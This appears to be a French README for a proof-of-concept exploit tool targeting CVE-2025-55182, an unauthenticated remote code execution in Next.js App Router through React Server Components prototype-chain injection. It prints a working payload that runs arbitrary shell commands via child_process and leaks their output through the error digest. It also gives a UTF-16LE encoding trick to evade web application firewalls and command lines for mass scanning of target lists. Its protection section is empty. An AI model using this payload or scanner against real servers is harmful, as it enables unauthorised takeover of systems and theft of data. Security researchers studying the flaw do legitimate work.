Exploit de preuve de concept pour CVE-2025-55182, démontrant une RCE non authentifiée dans Next.js App Router via une injection d'objet côté serveur dans les composants serveur React, avec contournement WAF UTF-16LE.
NextRce est un outil de recherche en sécurité qui démontre CVE-2025-55182, une vulnérabilité critique dans les applications Next.js App Router utilisant React Server Components (RSC) et Server Actions.
Cette vulnérabilité permet à un attaquant d'obtenir une exécution de code à distance (RCE) sans authentification en abusant de la façon dont Next.js traite les réponses Server Action et résout les charges utiles RSC sérialisées sur le serveur.
CVE-2025-55182 existe dans l'architecture Next.js App Router et peut être classée comme un problème d'injection d'objet côté serveur / abus de chaîne de prototypes survenant lors du traitement des requêtes multipart/form-data.
Lorsqu'une Server Action est déclenchée, le serveur Next.js fait confiance aux entrées client structurées et les désérialise. En envoyant une charge utile spécialement conçue, un attaquant peut manipuler la logique de résolution interne et exécuter des commandes système arbitraires dans l'environnement d'exécution Node.js.
La vulnérabilité provient des facteurs combinés suivants :
Modèle de confiance des Server Actions Les Server Actions acceptent des charges utiles client structurées qui sont traitées via la logique interne de résolution des React Server Components avec une validation insuffisante.
Injection d'objet lors de la résolution RSC
Des charges utiles spécialement conçues peuvent abuser des chaînes de prototypes JavaScript et des références de constructeurs, permettant d'échapper à la portée d'objet prévue.
Assainissement insuffisant
Les champs internes tels que then, _response et les accesseurs form-data ne sont pas correctement protégés contre les manipulations malveillantes.
Contournement WAF basé sur l'encodage
De nombreux pare-feu applicatifs web se concentrent sur UTF-8 ou le JSON standard. Encoder les charges utiles en UTF-16LE leur permet de contourner l'inspection tout en étant correctement décodées par le serveur Next.js.
L'exploit repose sur l'injection d'une charge utile RSC conçue à l'intérieur d'une requête multipart.
Une version simplifiée de la charge utile est présentée ci-dessous :
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Détournement de chaîne de prototypes
"then": "$1:__proto__:then"then, ce qui interfère avec la résolution des Promises pendant le traitement des React Server Components dans l'environnement d'exécution Next.js.2. Évasion de constructeur
"_formData": { "get": "$1:constructor:constructor" }Function, permettant d'exécuter du JavaScript arbitraire en dehors du bac à sable prévu.3. Exécution de code à distance
process.mainModule .require('child_process') .execSync('{cmd}')4. Exfiltration de la sortie basée sur le digest
throw Object.assign(new Error('x'), { digest: res });5. Contournement WAF (UTF-16LE)
Content-Type: text/plain; charset=utf-16leL'exploitation réussie de CVE-2025-55182 peut entraîner :
🔥 Exécution complète de code à distance
🗄️ Accès aux données sensibles et aux identifiants
🔗 Mouvement latéral au sein de l'infrastructure
📦 Compromission de la chaîne d'approvisionnement
🚨 Prise de contrôle totale du serveur
Sévérité : Critique
Authentification requise : Non
Pour se protéger contre CVE-2025-55182 :
Cible unique
python3 exploit.py -u https://target.com -c "whoami"Scan de masse avec contournement WAF
python3 exploit.py -l urls.txt -B -t 50Ce projet est fourni strictement à des fins éducatives, de recherche et de tests de sécurité autorisés.
N'utilisez PAS cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
L'auteur décline toute responsabilité en cas de mauvaise utilisation.